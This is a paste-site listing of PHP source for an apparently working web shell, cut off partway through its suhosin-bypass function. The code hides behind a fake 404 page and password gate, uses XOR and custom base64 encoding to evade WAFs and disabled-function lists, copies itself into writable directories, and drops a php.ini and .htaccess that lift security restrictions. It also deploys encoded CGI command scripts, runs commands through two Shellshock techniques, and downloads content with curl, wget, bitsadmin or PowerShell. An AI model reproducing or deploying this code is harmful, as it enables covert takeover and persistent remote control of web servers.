· 9 years ago · Jan 12, 2017, 06:02 PM
1<?php
2@session_start(); //with error supression because using session_start() multiple times was causing an error on IIS for some reason which makes no sense at all.
3
4//static 404 page
5//-->
6$static_fake_page = "
7<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
8<html><head>
9<title>404 Not Found</title>
10</head><body>
11<h1>Not Found</h1>
12<p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p>
13<hr>
14<address>".$_SERVER["SERVER_SOFTWARE"]." Server at ".$_SERVER['SERVER_ADDR']." Port 80</address>
15</body></html>"; //this will be used if SHELL_NAME fails to show a dynamic fake 404 page
16
17/*
18if (!isset($_SESSION["logged_in"])) {
19 if (isset($_POST["passwd"])) {
20 if (md5($_POST["passwd"]) == "11b53263cc917f33062363cef21ae6c3") {
21 $_SESSION["logged_in"] = True;
22 } else {
23 session_destroy();
24 header("HTTP/1.1 404 Not Found");
25 echo $static_fake_page;
26 exit;
27 }
28 } else {
29 session_destroy();
30 header("HTTP/1.1 404 Not Found");
31 echo $static_fake_page;
32 exit();
33 }
34}*/
35//<--
36
37// =============== [ ////// ] =============== //
38// SHELL_NAME is different to shell_name
39// WARNING: Please do not use spaces in filename!
40// =============== [ Configs ] =============== //
41$sname = basename(__FILE__, '.php'); //"something"; _OR_ str_replace(' ', '_', basename(__FILE__, '.php'));
42$sname_s = str_replace(' ', '_', $sname); //sname secure
43$sdir = '/' . $sname_s;
44// =============== [ Files ] =============== //
45$phpfile = '/' . $sname_s . ".php";
46$shfile = '/' . $sname_s . ".sh";
47$batfile = '/' . $sname_s . ".bat";
48// -------------------------------- //
49$__AES = '/' . "AES" . ".php"; $__Base = '/' . "Base" . ".php"; $__BigInteger = '/' . "BigInteger" . ".php";
50$__Blowfish = '/' . "Blowfish" . ".php"; $__DES = '/' . "DES" . ".php"; $__Hash = '/' . "Hash" . ".php";
51$__Random = '/' . "Random" . ".php"; $__RC2 = '/' . "RC2" . ".php"; $__RC4 = '/' . "RC4" . ".php";
52$__Rijndael = '/' . "Rijndael" . ".php"; $__RSA = '/' . "RSA" . ".php"; $__SSH2 = '/' . "SSH2" . ".php";
53$__TripleDES = '/' . "TripleDES" . ".php"; $__Twofish = '/' . "Twofish" . ".php"; $__openssl = '/' . "openssl" . ".cnf";
54// =============== [ ////// ] =============== //
55
56if (ob_get_level()) {
57 ob_end_clean(); //no point of having output buffering on yet
58}
59
60if (!isset($_SESSION['key'])) { //create our session key which will be used for encryption
61 $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
62 $characters_length = strlen($characters);
63 $random_string = "";
64 for ($i = 0; $i < 10; $i++) { //length = 10 (length doens't really matter that much though, check our xor functions to understand why)
65 $random_string .= $characters[rand(0, $characters_length - 1)];
66 }
67 $_SESSION['key'] = $random_string;
68}
69
70if (!isset($_SESSION['windows'])) {
71 if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') { //checking if we're running on a Window's machine
72 $_SESSION["windows"] = True;
73 $_SESSION["windows_drive"] = realpath("\\"); //saving the values instead of using realpath multiple times later on
74 } else {
75 $_SESSION["windows"] = False;
76 }
77}
78
79//base64 recoded to bypass disablers
80$base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/");
81
82function bin_dec($string) {
83 $decimal = "";
84 for($i = 0; $i<strlen($string); $i++) {
85 $dec = intval($string{(strlen($string))-$i-1})*pow(2, $i);
86 $decimal+=$dec;
87 }
88
89 return intval($decimal);
90}
91
92function dec_bin($dec) {
93 $binary = "";
94 $current = intval($dec);
95
96 if ($current == 0) {
97 return "0";
98 }
99
100 while (1) {
101 if ($current == 1) {
102 $binary="1".$binary;
103 break;
104 }
105 $binary = ($current%2).$binary;
106 $current = intval($current/2);
107 }
108
109 return $binary;
110}
111
112function base64encoding($string) {
113 global $base64ids;
114
115 $binary = "";
116 for ($i = 0; $i<strlen($string); $i++) {
117 $charASCII = ord($string{$i});
118 $asciiBIN = dec_bin($charASCII);
119 if (strlen($asciiBIN) != 8) {
120 $asciiBIN = str_repeat("0", 8-strlen($asciiBIN)).$asciiBIN;
121 }
122 $binary.= $asciiBIN;
123 }
124
125 $array = array();
126 for ($j = 0; $j<strlen($binary); $j = $j + 6) {
127 $part = substr($binary, $j, 6);
128 array_push($array, $part);
129 }
130
131 if (strlen($array[count($array)-1]) != 6) {
132 $array[count($array)-1] = $array[count($array)-1].str_repeat("0", 6 - strlen($array[count($array)-1]));
133 }
134
135 $base64 = "";
136 foreach ($array as &$value) {
137 $value = bin_dec($value);
138 $value = $base64ids[$value];
139 $base64.=$value;
140 }
141
142 if ((strlen($base64) % 4) != 0) {
143 $base64.=str_repeat("=", 4-(strlen($base64) % 4));
144 }
145
146 return $base64;
147}
148
149function base64decoding($string) {
150 global $base64ids;
151
152 $string = str_replace("=", "", $string);
153
154 $binary = "";
155 for ($i = 0; $i < strlen($string); $i++) {
156 $charID = array_search($string{$i}, $base64ids);
157 $idBIN = dec_bin($charID);
158 if (strlen($idBIN) != 6) {
159 $idBIN = str_repeat("0", 6-strlen($idBIN)).$idBIN;
160 }
161 $binary.= $idBIN;
162 }
163
164 if (strlen($binary) %8 != 0) {
165 $binary = substr($binary, 0, strlen($binary)-(strlen($binary) %8));
166 }
167
168 $array = array();
169 for ($j = 0; $j<strlen($binary); $j = $j + 8) {
170 $part = substr($binary, $j, 8);
171 array_push($array, $part);
172 }
173
174 $text = "";
175 foreach ($array as &$value) {
176 $value = bin_dec($value);
177 $value = chr($value);
178 $text.=$value;
179 }
180
181 return $text;
182}
183
184function xor_this($string, $key=null) { //our 'random key' based xor encryption
185 if ($string == "") {
186 return $string;
187 }
188
189 if ($key == null) {
190 $key = $_SESSION['key'];
191 }
192
193 $outText = '';
194
195 for($i=0; $i<strlen($string);) {
196 for($j=0; ($j<strlen($key) && $i<strlen($string)); $j++,$i++) {
197 $outText .= $string{$i} ^ $key{$j};
198 }
199 }
200
201 return base64encoding($outText);
202} //so basically every string character gets xored once by one key character. That key character is chosen by order
203//example: string=dotcppfile key=1234
204//d will get xored by 1
205//o will get xored by 2
206//etc
207//the first p will get xored by 1 as well because we start all over when all the characters of our key gets used.
208//this gets the job done at its best when it comes to bypassing security systems like WAFs, etc...
209
210function unxor_this($string, $key=null) {
211 if ($string == "") {
212 return $string;
213 }
214
215 if ($key == null) {
216 $key = $_SESSION['key'];
217 }
218
219 return base64decoding(xor_this(base64decoding($string), $key));
220}
221
222//recursive glob used later on to find SHELL_NAME's directory (first method)
223function recursive_glob($path) {
224 $paths = glob($path."/*", GLOB_ONLYDIR);
225 foreach ($paths as $path) {
226 if ((is_readable($path)) && (is_writable($path))) {
227 return $path;
228 } else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
229 //we can chmod a direcotry that we own and gift it to our beloved SHELL_NAME!
230 $fileowner = posix_getpwuid(fileowner($path));
231 $fileowner = $fileowner["name"];
232 if ($_SESSION["process_owner"] == $fileowner) { //we own that folder
233 if (chmod($path, 0777)) { //successfully chmoded
234 return $path;
235 }
236 }
237 }
238 }
239
240 foreach ($paths as $path) {
241 $path = recursive_glob($path);
242 if ($path != "") {
243 return $path;
244 }
245 }
246}
247
248//recursive iterator used later on to find SHELL_NAME's directory (second method)
249function recursive_iterator($location) {
250 $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(realpath($location)), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
251
252 $paths = array(realpath($location));
253 foreach ($iter as $path => $dir) {
254 if ($dir->isDir()) {
255 if ((is_readable($dir)) && (is_writable($dir))) {
256 return realpath($path);
257 } else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
258 //we can chmod a direcotry that we own and gift it to our beloved SHELL_NAME!
259 $fileowner = posix_getpwuid(fileowner($dir));
260 $fileowner = $fileowner["name"];
261 if ($_SESSION["process_owner"] == $fileowner) { //we own that folder
262 if (chmod($dir, 0777)) { //successfully chmoded
263 return realpath($path);
264 }
265 }
266 }
267 }
268 }
269}
270
271function get_php_ini($string) { //read from php.ini
272 $output = @ini_get($string);
273 if ($output == "") {
274 $output = @get_cfg_var($string);
275 }
276
277 return $output;
278}
279
280//check what's disabled by disable_functions and suhosin
281$disabled_php = array();
282$disabled_suhosin = array();
283
284foreach (explode("," , get_php_ini(unxor_this("AAYHAhIcAzYKEAoMAAofHhU=", "dotcppfile"))) as $disabled) { //disable_functions
285 array_push($disabled_php, $disabled);
286}
287foreach (explode(",", get_php_ini(unxor_this("AAYHAhIcAzYPCQUcBwYD", "dotcppfile"))) as $disabled) { //disabled_classes
288 array_push($disabled_php, $disabled);
289}
290foreach (explode("," , get_php_ini(unxor_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==", "dotcppfile"))) as $disabled) { //suhosin.executor.func.blacklist
291 array_push($disabled_suhosin, $disabled);
292}
293
294$disabled_php = array_filter($disabled_php);
295$disabled_suhosin = array_filter($disabled_suhosin);
296
297$disabled_php = array_map('trim', $disabled_php);
298$disabled_suhosin = array_map('trim', $disabled_suhosin);
299
300function disabled_php($function_name) { //checks if a function is disabled by php
301 foreach ($GLOBALS["disabled_php"] as $value) {
302 if ($function_name == $value) {
303 return True;
304 }
305 }
306
307 return False;
308}
309
310function disabled_suhosin($function_name) { //checks if a function is disabled by suhosin
311 foreach ($GLOBALS["disabled_suhosin"] as $value) {
312 if ($function_name == $value) {
313 return True;
314 }
315 }
316
317 return False;
318}
319
320function installed_php($function=null, $class=null) { //checks if a function/class exists
321 if ($function != null) {
322 if (disabled_php("function_exists") == False) {
323 if (disabled_suhosin("function_exists") == False) {
324 if (function_exists($function)) {
325 return True;
326 } else {
327 return False;
328 }
329 } else {
330 if (bypass_suhosin("function_exists", $function)) {
331 return True;
332 } else {
333 return False;
334 }
335 }
336 } else {
337 ob_start();
338 $test = $function();
339 $return_value = ob_get_contents();
340 ob_end_clean();
341
342 if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
343 return True;
344 } else {
345 return False;
346 }
347 }
348 } else {
349 if (disabled_php("class_exists") == False) {
350 if (disabled_suhosin("class_exists") == False) {
351 if (class_exists($class)) {
352 return True;
353 } else {
354 return False;
355 }
356 } else
357 if (bypass_suhosin("class_exists", $class)) {
358 return True;
359 } else {
360 return False;
361 }
362 } else {
363 ob_start();
364 $test = new $class();
365 $return_value = ob_get_contents();
366 ob_end_clean();
367
368 if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
369 return True;
370 } else {
371 return False;
372 }
373 }
374 }
375}
376
377//dynamic 404 page -->
378//Now the reason I don't like this much is because there's a lot of important code that needs to be ran first
379//to make sure that we can show a dynamic fake 404 page while bypassing security systems
380if (!isset($_SESSION["logged_in"])) {
381 $show_it = False;
382
383 if (isset($_GET["passwd"])) {
384 //if (md5($_POST["passwd"]) == "11b53263cc917f33062363cef21ae6c3") { //SHELL_NAME
385 if (hash('whirlpool', $_POST["passwd"]) == "259d393dede9b2c03eb58004e440b5e7d024cab42f64391f39830abd29125ff0ffd37f8e6cc882f8f1664afc89885114f632a8cbb29dc57b007590427349af21") {
386 $_SESSION["logged_in"] = True;
387 } else {
388 session_destroy();
389 @header("HTTP/1.1 404 Not Found");
390 $show_it = True;
391 }
392 } else {
393 session_destroy();
394 @header("HTTP/1.1 404 Not Found");
395 $show_it = True;
396 }
397
398 if ($show_it == True) {
399 $random_url = "";
400 if (isset($_SERVER['HTTPS'])) {
401 $random_url .= "https";
402 } else {
403 $random_url .= "http";
404 }
405
406 $random_string = time();
407 $random_url .= "://".$_SERVER['SERVER_NAME']."/".$random_string.$phpfile; //our random bitch
408 $output = @url_get_contents($random_url);
409
410 if ($output != "") {
411 echo str_replace("/".$random_string.$phpfile, $phpfile, $output);
412 } else {
413 echo $static_fake_page;
414 }
415
416 exit();
417 }
418}//<--
419
420//finds current process's owner
421if (!isset($_SESSION["process_owner"])) {
422 if (installed_php("posix_geteuid")) { //Linux
423 $_SESSION["process_owner"] = posix_getpwuid(posix_geteuid());
424 $_SESSION["process_owner"] = $_SESSION["process_owner"]["name"];
425 } else { //Linux and Windows
426 $_SESSION["process_owner"] = getenv('USERNAME');
427 }
428}
429
430//finds SHELL_NAME's directory; a writeable and readable directory, move to it and drop our php.ini and .htaccess files that will
431//make life easier if suphp is installed
432if (!isset($_SESSION["shell_name_directory"])) {
433 $shell_name_dir = getcwd();
434
435 if ($_SESSION["windows"] == True) {
436 $_SESSION["slash"] = "\\"; //we can use this later on
437 } else {
438 $_SESSION["slash"] = "/";
439 }
440
441 //finding the web dir which will be used here and when deploying the CGI Scripts
442 //not using DOCUMENT_ROOT anymore because it may need to be hardcoded and reset, and fuck all of that
443 $array = explode($_SESSION["slash"], getcwd());
444 for ($i = 0; $i<(count(explode("/", $_SERVER["SCRIPT_NAME"]))-2); $i++) {
445 array_pop($array);
446 }
447
448 $_SESSION["web_dir"] = implode($_SESSION["slash"], $array);
449
450 //finding SHELL_NAME's directory
451 if ((is_writable($shell_name_dir)) && (is_readable($shell_name_dir))) {
452 $_SESSION["shell_name_directory"] = $shell_name_dir; //no need to look further since we are in it
453 } else { //lets dance
454 $locations = array($_SESSION["web_dir"], realpath($_SESSION["slash"])); //we go for a random directory if a proper web directory wasn't found
455
456 foreach ($locations as $location) {
457 //uses the recursive glob function for old php versions
458 if (disabled_php("glob") == False) {
459 $_SESSION["shell_name_directory"] = recursive_glob(realpath($location));
460 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (installed_php(null, "RecursiveIteratorIterator") == True)) { //Iterator incoming!
461 $_SESSION["shell_name_directory"] = recursive_iterator($location);
462 }
463
464 if ((isset($_SESSION["shell_name_directory"])) && ($_SESSION["shell_name_directory"] != "")) {
465 break;
466 }
467 }
468 }
469
470 if (basename($_SESSION["shell_name_directory"]) != $sname_s) { //We just landed, time to get ready for battle because we got some mofos to kill!
471 $_SESSION["shell_name_directory"] .= $sdir;
472 @mkdir($_SESSION["shell_name_directory"]); //incase it already existed. We'll simply replace the old files of SHELL_NAME with the new ones.
473
474 if (strpos($_SESSION["shell_name_directory"], $_SESSION["web_dir"]) !== False) {
475 //we clear all disablers, allow eval and url opening
476 $php_ini = "AAYHAhIcAzYKEAoMAAofHhVJUW8ABgcCEhwDNg8JBRwHBgNQW2MfEAwABwoeXgMRCQYRGxsRXhYTBw9LBgMVABscDxoYRVlPVkF6AxMBAxYNAVoGCBUFHBgKFkEQCgMRBAUJOgEZFQ9QTUYmCgNuDhgPHwc5HB4JOwkbExUeRlRMKgo=";
477 //and here we link that php.ini to suphp as a config file
478 //http://support.hostgator.com/articles/specialized-help/technical/how-to-get-your-php-ini-path-with-suphp
479 $htaccess ="<IfModule mod_suphp.c>\nsuPHP_ConfigPath ".$_SESSION["shell_name_directory"].$_SESSION["slash"]."php.ini\n</IfModule>";
480
481 write_to_file($_SESSION["shell_name_directory"]."/php.ini", unxor_this($php_ini, "dotcppfile"));
482 write_to_file($_SESSION["shell_name_directory"]."/.htaccess", $htaccess);
483
484 //and now we move our SHELL_NAME to its directory if it's not there already
485 if (getcwd() != $_SESSION["shell_name_directory"]) {
486 copy($_SERVER["SCRIPT_FILENAME"], $_SESSION["shell_name_directory"].$phpfile);
487 header("Location: http://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $_SESSION["shell_name_directory"].$phpfile));
488 }
489 }
490 }
491}
492
493function write_to_file($location, $string) {
494 $output = file_put_contents_extended($location, $string); //file_put_contents
495 if ($output != False) {
496 return;
497 }
498
499 $fp = fopen_extended($location, "w"); //fopen
500 if ($fp != False) {
501 fwrite($fp, $string);
502 fclose($fp);
503 return;
504 }
505
506 execute_command("echo ".escapeshellarg($string)." > $location"); //system commands
507}
508
509function read_file($location) {
510 if (filesize($location) == 0) { //empty files will cause file_get_contents to return false and fread to cause an error
511 return "";
512 }
513
514 $content = file_get_contents_extended($location); //file_get_contents
515 if ($content == False) {
516 return htmlspecialchars($content);
517 }
518
519 $fp = fopen_extended($location, "r"); //fopen
520 if ($fp != False) {
521 $content = htmlspecialchars(fread($fp, filesize($location)));
522 fclose($fp);
523 return $content;
524 }
525
526 if ($_SESSION["windows"] == True) { //system commands
527 return htmlspecialchars(execute_command("type $location"));
528 } else {
529 return htmlspecialchars(execute_command("cat $location"));
530 }
531
532 return "".$sname.": failed to read the file because file_get_contents_extended, fopen_extended and system commands failed."; //fail
533}
534
535function url_get_contents($url, $user_agent=null) { //used to download the source of a webpage
536 if ((installed_php("curl_version") == True) && (disabled_php("curl_init") == False)) { //using curl
537 if (disabled_suhosin("curl_init") == False) {
538 $ch = curl_init(str_replace(" ","%20",$url));
539 } else {
540 $ch = bypass_suhosin("curl_init", str_replace(" ","%20",$url));
541 }
542
543 curl_setopt($ch, CURLOPT_URL, $url);
544 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
545
546 if ($user_agent != null) { //used by shellshock (method 2)
547 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
548 }
549
550 $content = curl_exec($ch);
551 curl_close($ch);
552
553 return $content;
554 }
555
556 //for file_get_contents and fopen
557 if ($user_agent != null) {
558 $opts = array('http'=>array('header'=>"User-Agent: $user_agent\r\n"));
559 $context = stream_context_create($opts);
560 } else {
561 $context = null;
562 }
563
564 //using file_get_contents
565 $content = file_get_contents_extended($url, True, $context);
566 if ($content != False) {
567 return $content;
568 }
569
570 //using fopen
571 $fp = fopen_extended($url, "r", True, $context);
572 if ($fp != False) {
573 $content = fread($fp, filesize($url));
574 fclose($fp);
575 return $content;
576 }
577
578 //using system commands (no need to apply shellshock here since we're already using system commands...)
579 if ($_SESSION["windows"] == True) {
580 if (execute_command("bitsadmin", True) == True) { //bitsadmin is a nice choice here
581 return execute_command("bitsadmin.exe /Transfer shellDownloadJob $link $location > null; type $location");
582 } else if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { //powershell comes next
583 return execute_command("powershell.exe Invoke-WebRequest $link -OutFile $location > null; type $location");
584 } else {
585 return False; //sadly, nothing worked
586 }
587 } else { //curl or wget for Linux
588 if (execute_command("curl", True) == True) {
589 return execute_command("curl $url");
590 } else if (execute_command("wget", True) == True) {
591 return execute_command("wget -qO- $url");
592 } else {
593 return False;
594 }
595 }
596}
597
598if (!isset($_SESSION["cgi"])) { //setting up the cgi scripts
599 $cgi_htaccess = "bi4QBzgRCA0AABZPFwQZXRUKHgwUG1RNAxhGRw4EEGU7EwQZCQcfRU8qDAYTMyEgZg==";
600 $cgi_bash = "R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4AHx0LCAIBWQ8RABgfRktINDEqJjovIzI7JSsjTVQfUAMDDUxICk9TEF8uSEMPCgkCFQ0UTTpBNztCMl4/WV5MTUM5VUAERFAMRgsNFgFZQENdXQIMDwoAClQfUAMDDUxHF0BRUUBfRkYLR0QTVBAVFEZLH0pPQFRMF1IGYwkTBQNURxMfCwQNCwA=";
601 $cgi_bat = "JAoXCx9QCQ8Kb24KFwsfUCUGAhEBAQBOBAkWDFZFEAoMF18YEgQAbwEMHAxeemwACkUBFx0QBFACDA8KAApaFwgERg0JCUQLEQAfFANHGB0QZVwGExgJSUk0MSomOi8jMjslKyNVCltVWUZXTAAKDBsHFRRIHRQRbgwREQQFEgAARUkLEQAfFANJTgAKDBsHFRRIHRQRRk9WBxUTCQ0JSxAXAEF6AwMdQxVEDBkHTUwCDA8KAApaFwgEbEwPCABK";
602 $cgi_path = $_SESSION["shell_name_directory"]."/cgi";
603
604 if (isset($_SERVER['HTTPS'])) {
605 $protocol = "https";
606 } else {
607 $protocol = "http";
608 }
609
610 if (!file_exists($cgi_path)) {
611 mkdir($cgi_path);
612 }
613
614 //writing everything
615 write_to_file($cgi_path."/.htaccess", unxor_this($cgi_htaccess, "dotcppfile"));
616
617 if ($_SESSION["windows"] == True) {
618 write_to_file($cgi_path.$batfile, unxor_this($cgi_bat, "dotcppfile"));
619 chmod($cgi_path.$batfile, 0755);
620 $_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace("\\", "/", str_replace(realpath($_SESSION["web_dir"]), "", $cgi_path)).$batfile;
621 } else {
622 write_to_file($cgi_path.$shfile, unxor_this($cgi_bash, "dotcppfile"));
623 chmod($cgi_path.$shfile, 0755);
624 $_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $cgi_path).$shfile;
625 }
626
627 //testing it
628 $test = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding("echo dotcppfile"));
629 if (($test != "") && (strpos($test, "Internal Server Error") === False) && (strpos($test, "QUERY_STRING") === False)) {
630 $_SESSION["cgi"] = True;
631 } else {
632 $_SESSION["cgi"] = False;
633 }
634}
635
636function execute_ssh($command) { //ssh
637 include_php($_SESSION["shell_name_directory"].$__SSH2); //this should have been uploaded by the user himself
638
639 $ssh = new Net_SSH2('127.0.0.1', $_SESSION["ssh_port"]);
640
641 if ($ssh->login($_SESSION["ssh_user"], unserialize($_SESSION["ssh_rsa"]))) {
642 return $ssh->exec($command);
643 }
644}
645
646function shsh($command) { //shellshock (method 1)
647 $filename = $_SESSION["shell_name_directory"].$_SESSION["shell_name_directory"].time().".data";
648 putenv("PHP_LOL=() { x; }; $command > $filename 2>&1");
649 mail("a@127.0.0.1", "", "", "", "-bv");
650 if (file_exists($filename)) {
651 $content = read_file($filename);
652 unlink($filename);
653 } else {
654 $content = "";
655 }
656
657 return $content;
658} //this was written by Starfall and I know that this will simply fail if sendmail wasn't installed
659
660function shsh2($command) { //shellshock (method 2)
661 $filename = $_SESSION["shell_name_directory"].$_SESSION["shell_name_directory"].time().".data";
662 url_get_contents($_SESSION["shsh2_cgi_script"], "() { x; }; $command > $filename 2>&1"); //this will be updated later but lets keep it here for now
663
664 if (file_exists($filename)) {
665 $content = read_file($filename);
666 unlink($filename);
667 } else {
668 $content = "";
669 }
670
671 return $content;
672} //this will send http requests with a shellshock user agent to a cgi script
673
674if (!isset($_SESSION["shsh"])) { //testing shellshock1
675 if ($_SESSION["windows"] == False) { //more checks aren't necessary thanks to the upcoming test
676 if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
677 $_SESSION["shsh"] = True;
678 } else {
679 $_SESSION["shsh"] = False;
680 }
681 } else {
682 $_SESSION["shsh"] = False;
683 }
684}
685
686if (!isset($_SESSION["shsh2"])) { //testing shellshock2
687 if ($_SESSION["windows"] == False) {
688 if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
689 $_SESSION["shsh2"] = True;
690 } else {
691 $_SESSION["shsh2"] = False;
692 }
693 } else {
694 $_SESSION["shsh2"] = False;
695 }
696}
697
698//finds the location of ruby/perl/python for Windows
699if (!isset($_SESSION["pathes_found"])) {
700 if ($_SESSION["windows"] == True) { //windows...
701 if (execute_command($_SESSION["windows_drive"]."Python27:python", True)) {
702 $_SESSION["python"] = $_SESSION["windows_drive"]."Python27\\python.exe";
703 }
704
705 if (execute_command($_SESSION["windows_drive"]."Python34:python", True)) {
706 $_SESSION["python"] = $_SESSION["windows_drive"]."Python34\\python.exe";
707 }
708
709 if (execute_command($_SESSION["windows_drive"]."Perl32\\bin:perl", True)) {
710 $_SESSION["perl"] = $_SESSION["windows_drive"]."Perl32\\bin\\perl.exe";
711 }
712
713 if (execute_command($_SESSION["windows_drive"]."Perl64\\bin:perl", True)) {
714 $_SESSION["perl"] = $_SESSION["windows_drive"]."Perl64\\bin\\perl.exe";
715 }
716
717 if (execute_command($_SESSION["windows_drive"]."Ruby21-x32\\bin:ruby", True)) {
718 $_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x32\\bin\\ruby.exe";
719 }
720
721 if (execute_command($_SESSION["windows_drive"]."Ruby21-x64\\bin:ruby", True)) {
722 $_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x64\\bin\\ruby.exe";
723 }
724 } else { //DAMN YOU BILL! Lol, this is much easier
725 $softwares = array("perl", "python", "ruby", "php");
726
727 foreach ($softwares as $software) {
728 if (execute_command($software, True)) {
729 $_SESSION[$software] = $software;
730 }
731 }
732 }
733
734 $_SESSION["pathes_found"] = True;
735}
736
737function bypass_suhosin($function, $arg1=null, $arg2=null, $arg3=null, $arg4=null, $arg5=null, $output_needed = True) { //I found no other way to deal with arguments... poor me.
738 if ($arg5 != null) {
739 if (disabled_php("call_user_func") == False) {
740 $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4, $arg5);
741 } else if (disabled_php("call_user_func_array") == False) {
742 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
743 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
744 $ref_function = new ReflectionFunction($function);
745 $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4, $arg5);
746 if (is_string($handle)) {
747 $return_value = $handle;
748 } else {
749 $return_value = fread($handle, 4096);
750 pclose($handle);
751 }
752 } else if ($output_needed == False) {
753 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
754 $it = new ArrayIterator(array(""));
755 iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4, $arg5));
756 } else if (disabled_php("register_tick_function") == False) {
757 declare(ticks=1);
758 register_tick_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
759 unregister_tick_function($function);
760 } else if (disabled_php("array_map") == False) {
761 array_map($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
762 } else if (disabled_php("array_walk") == False) {
763 $x = array($arg1, $arg2, $arg3, $arg4, $arg5);
764 array_walk($x, $function);
765 } else if (disabled_php("array_filter") == False) {
766 array_filter(array($arg1, $arg2, $arg3, $arg4, $arg5), $function);
767 } else if (disabled_php("register_shutdown_function")) {
768 register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
769 }
770 }
771 } else if ($arg4 != null) {
772 if (disabled_php("call_user_func") == False) {
773 $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4);
774 } else if (disabled_php("call_user_func_array") == False) {
775 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4));
776 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
777 $ref_function = new ReflectionFunction($function);
778 $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4);
779 if (is_string($handle)) {
780 $return_value = $handle;
781 } else {
782 $return_value = fread($handle, 4096);
783 pclose($handle);
784 }
785 } else if ($output_needed == False) {
786 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
787 $it = new ArrayIterator(array(""));
788 iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4));
789 } else if (disabled_php("register_tick_function") == False) {
790 declare(ticks=1);
791 register_tick_function($function, $arg1, $arg2, $arg3, $arg4);
792 unregister_tick_function($function);
793 } else if (disabled_php("array_map") == False) {
794 array_map($function, array($arg1, $arg2, $arg3, $arg4));
795 } else if (disabled_php("array_walk") == False) {
796 $x = array($arg1, $arg2, $arg3, $arg4);
797 array_walk($x, $function);
798 } else if (disabled_php("array_filter") == False) {
799 array_filter(array($arg1, $arg2, $arg3, $arg4), $function);
800 } else if (disabled_php("register_shutdown_function")) {
801 register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4);
802 }
803 }
804 } else if ($arg3 != null) {
805 if (disabled_php("call_user_func") == False) {
806 $return_value = call_user_func($function, $arg1, $arg2, $arg3);
807 } else if (disabled_php("call_user_func_array") == False) {
808 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3));
809 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
810 $ref_function = new ReflectionFunction($function);
811 $handle = $ref_function->invoke($arg1, $arg2, $arg3);
812 if (is_string($handle)) {
813 $return_value = $handle;
814 } else {
815 $return_value = fread($handle, 4096);
816 pclose($handle);
817 }
818 } else if ($output_needed == False) {
819 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
820 $it = new ArrayIterator(array(""));
821 iterator_apply($it, $function, array($arg1, $arg2, $arg3));
822 } else if (disabled_php("register_tick_function") == False) {
823 declare(ticks=1);
824 register_tick_function($function, $arg1, $arg2, $arg3);
825 unregister_tick_function($function);
826 } else if (disabled_php("array_map") == False) {
827 array_map($function, array($arg1, $arg2, $arg3));
828 } else if (disabled_php("array_walk") == False) {
829 $x = array($arg1, $arg2, $arg3);
830 array_walk($x, $function);
831 } else if (disabled_php("array_filter") == False) {
832 array_filter(array($arg1, $arg2, $arg3), $function);
833 } else if (disabled_php("register_shutdown_function")) {
834 register_shutdown_function($function, $arg1, $arg2, $arg3);
835 }
836 }
837 } else if ($arg2 != null) {
838 if (disabled_php("call_user_func") == False) {
839 $return_value = call_user_func($function, $arg1, $arg2);
840 } else if (disabled_php("call_user_func_array") == False) {
841 $return_value = call_user_func_array($function, array($arg1, $arg2));
842 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
843 $ref_function = new ReflectionFunction($function);
